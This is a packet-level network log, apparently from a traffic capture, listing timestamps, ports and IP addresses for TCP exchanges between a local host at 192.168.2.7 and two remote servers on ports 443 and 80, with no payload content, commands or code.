Oct 26, 2024 08:52:55.745032072 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.789213896 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.789433956 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.789495945 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.789522886 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.789561987 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.789796114 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.789820910 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:57.207473993 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:57.207746983 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:57.207859993 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:57.208054066 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:57.208089113 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:57.225289106 CEST	49748	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:57.225332975 CEST	443	49748	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:57.225480080 CEST	49748	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:57.225884914 CEST	49748	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:57.225913048 CEST	443	49748	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:58.076854944 CEST	443	49748	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:58.076966047 CEST	49748	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:58.181211948 CEST	49748	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:58.181235075 CEST	443	49748	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:58.182240963 CEST	443	49748	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:58.185956001 CEST	49748	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:58.186111927 CEST	49748	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:58.186212063 CEST	443	49748	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:58.588558912 CEST	443	49748	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:58.588825941 CEST	443	49748	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:58.589035034 CEST	49748	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:58.589167118 CEST	49748	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:58.589167118 CEST	49748	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:58.589184999 CEST	443	49748	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:58.589199066 CEST	443	49748	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:58.591025114 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:58.607860088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:58.607981920 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:58.608175993 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:58.621049881 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.517616034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.517640114 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.517649889 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.517669916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.517683983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.517697096 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.517729998 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.667715073 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.667804003 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.667855978 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.667891026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.667891026 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.667927027 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.667942047 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.667963982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.668138981 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.668504953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.668555021 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.672142029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.784986019 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.785082102 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.785176039 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.785367966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.785552979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.785582066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.785609961 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.837750912 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.935646057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.935698986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.935767889 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.936021090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.936188936 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.936239004 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.936892033 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.937045097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.937097073 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.937822104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.937896013 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.937938929 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:52:59.938644886 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.938699961 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:52:59.938750029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.052836895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.052886009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.052941084 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.053306103 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.053349972 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.053395033 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.054235935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.054287910 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.054322958 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.055098057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.055131912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.055174112 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.136970997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.137028933 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.137082100 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.138037920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.138067961 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.138128996 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.139142990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.139233112 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.139290094 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.170267105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.170321941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.170384884 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.211059093 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.211095095 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.211154938 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.404460907 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.404530048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.404588938 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.404863119 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.404925108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.404962063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.405759096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.405797958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.405846119 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.406661034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.406737089 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.406776905 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.407510042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.445662022 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.445679903 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.445779085 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.491322041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.491338015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.491388083 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.491530895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.491540909 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.491588116 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.521966934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.521977901 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.522094011 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.606945992 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.607007027 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.607079983 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.608588934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.608625889 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.608688116 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.609028101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.650258064 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.703026056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.703052044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.703114986 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.703399897 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.726119995 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.726154089 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.726166964 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.726414919 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.726454973 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.726490974 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.775242090 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.833950043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.833995104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.834086895 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.834387064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.847548962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.847570896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.847600937 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.847986937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.848000050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.848027945 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.848843098 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.848882914 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.951364994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.951379061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.951445103 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.951639891 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.951651096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.951689005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.965049028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.965178013 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.965224981 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.965487003 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.965524912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:00.965564966 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:00.966386080 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.009619951 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.068793058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.068845034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.068909883 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.069178104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.082986116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.083003044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.083014965 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.083036900 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.083055019 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.083061934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.083636999 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.083681107 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.186072111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.186126947 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.186177015 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.186305046 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.186374903 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.186414003 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.199789047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.199911118 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.199975967 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.200016975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.200030088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.200066090 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.200994968 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.201582909 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.201634884 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.303375959 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.303388119 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.303437948 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.303592920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.303714991 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.303755045 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.317378044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.317449093 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.317497015 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.317718983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.317770958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.317809105 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.318599939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.318912029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.318952084 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.318953991 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.368985891 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.420850039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.420865059 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.420921087 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.434586048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.434598923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.434636116 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.434818983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.434859037 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.434896946 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.435726881 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.435822964 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.435861111 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.475106001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.475126028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.475188017 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.475476980 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.525279999 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.552068949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.552090883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.552182913 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.552448988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.552462101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.552509069 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.553312063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.553618908 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.553637028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.553664923 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.554466963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.554512024 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.592327118 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.592349052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.592505932 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.592742920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.634668112 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.669349909 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.669471979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.669545889 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.669817924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.669881105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.669922113 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.670475006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.670551062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.670595884 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.671386957 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.671399117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.671439886 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.709717035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.709734917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.709816933 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.710138083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.759629011 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.786782026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.786808968 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.786885977 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.786961079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.787029982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.787075996 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.787889957 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.787933111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.787977934 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.788748026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.826874018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.826915979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.826961040 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.827157021 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.827187061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.827207088 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.827641010 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.827692986 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.827694893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.828560114 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.828609943 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.904494047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.904550076 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.904601097 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.904881001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.904900074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.904941082 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.905725956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.906029940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.906048059 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.906074047 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.944423914 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.944483995 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.944515944 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.944864035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.944909096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:01.944911003 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:01.994088888 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:02.139184952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.139300108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.139497995 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:02.139590025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.139666080 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.139713049 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:02.140470028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.140516996 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.140567064 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:02.141350031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.141406059 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.141452074 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:02.142240047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.142257929 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.142308950 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:02.143110991 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.143137932 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.143188953 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:02.144020081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.180226088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.180238008 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:02.180279016 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:02.180598021 CEST	80	49759	185.215.113.16	192.168.2.7
